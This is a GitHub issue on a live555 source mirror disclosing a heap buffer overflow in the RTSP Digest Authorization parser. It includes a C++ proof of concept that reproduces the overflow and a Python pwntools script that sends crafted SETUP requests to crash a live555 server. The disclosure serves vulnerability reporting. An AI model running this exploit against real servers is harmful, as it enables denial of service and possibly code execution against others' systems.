rgaufman / live555

A mirror of the live555 source code.
GNU Lesser General Public License v3.0
768 stars 370 forks source link

Multiple byte heap buffer overflow in parseAuthorizationHeader which can lead to DoS and most likely RCE #23

Closed 0n3m4ns4rmy closed 5 years ago

0n3m4ns4rmy commented 5 years ago

Bug discovered by: Mans van Someren from WhatTheBug

Version: latest (http://www.live555.com/liveMedia/public/live555-latest.tar.gz)

Then the following happens in a loop:

Now the overflow occurs when fields contains a null byte in the middle of it. Lets take as an example:

fields = "AAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

Now it will first allocate space for AAAAAAA, sscanf AAAAAAA to parameter and advance fields till past the null byte. The loop will continue with scanning BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB to parameter and thus giving a huge overflow.

PoC:

//g++ -o poc poc.cpp strDup.cpp

#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "strDup.hh"

#define True true
#define False false
#define Boolean bool

#define _strncasecmp strncasecmp

static Boolean parseAuthorizationHeader(char const* buf,
                                        char const*& username,
                                        char const*& realm,
                                        char const*& nonce, char const*& uri,
                                        char const*& response) {
  // Initialize the result parameters to default values:
  username = realm = nonce = uri = response = NULL;

  // First, find "Authorization:"
  while (1) {
    if (*buf == '\0') return False; // not found
    if (_strncasecmp(buf, "Authorization: Digest ", 22) == 0) break;
    ++buf;
  }

  // Then, run through each of the fields, looking for ones we handle:
  char const* fields = buf + 22;
  while (*fields == ' ') ++fields;
  char* parameter = strDupSize(fields);
  char* value = strDupSize(fields);
  while (1) {
    value[0] = '\0';
    if (sscanf(fields, "%[^=]=\"%[^\"]\"", parameter, value) != 2 &&
        sscanf(fields, "%[^=]=\"\"", parameter) != 1) {
      break;
    }
    if (strcmp(parameter, "username") == 0) {
      username = strDup(value);
    } else if (strcmp(parameter, "realm") == 0) {
      realm = strDup(value);
    } else if (strcmp(parameter, "nonce") == 0) {
      nonce = strDup(value);
    } else if (strcmp(parameter, "uri") == 0) {
      uri = strDup(value);
    } else if (strcmp(parameter, "response") == 0) {
      response = strDup(value);
    }

    fields += strlen(parameter) + 2 /*="*/ + strlen(value) + 1 /*"*/;
    while (*fields == ',' || *fields == ' ') ++fields;
    // skip over any separating ',' and ' ' chars
    if (*fields == '\0' || *fields == '\r' || *fields == '\n') break;
  }
  delete[] parameter; delete[] value;
  return True;
}

int main() {
  char const* username = NULL; char const* realm = NULL; char const* nonce = NULL;
  char const* uri = NULL; char const* response = NULL;
  parseAuthorizationHeader("Authorization: Digest AAAAAAA\0BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", username, realm, nonce, uri, response);
  if (username) delete[] username;
  if (realm) delete[] realm;
  if (nonce) delete[] nonce;
  if (uri) delete[] uri;
  if (response) delete[] response;
  return 0;
}

Remote DoS PoC (define ACCESS_CONTROL in mediaServer/live555MediaServer.cpp for this PoC):

from pwn import *

r = remote('127.0.0.1', 8554)

request = ''

#this first request will set the nonce to get to parseAuthorizationHeader

request += 'SETUP rtsp://127.0.0.1:8554/ RTSP/1.0' + '\r\n'
request += 'Cseq: 3' + '\r\n'
request += '\r\n'

#end of first request second request gets passed to parseAuthorizationHeader

request += 'SETUP rtsp://127.0.0.1:8554/ RTSP/1.0' + '\r\n'
request += 'Cseq: 3' + '\r\n'
request += 'Authorization: Digest AAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB' + '\r\n'
request += '\r\n'

r.send(request)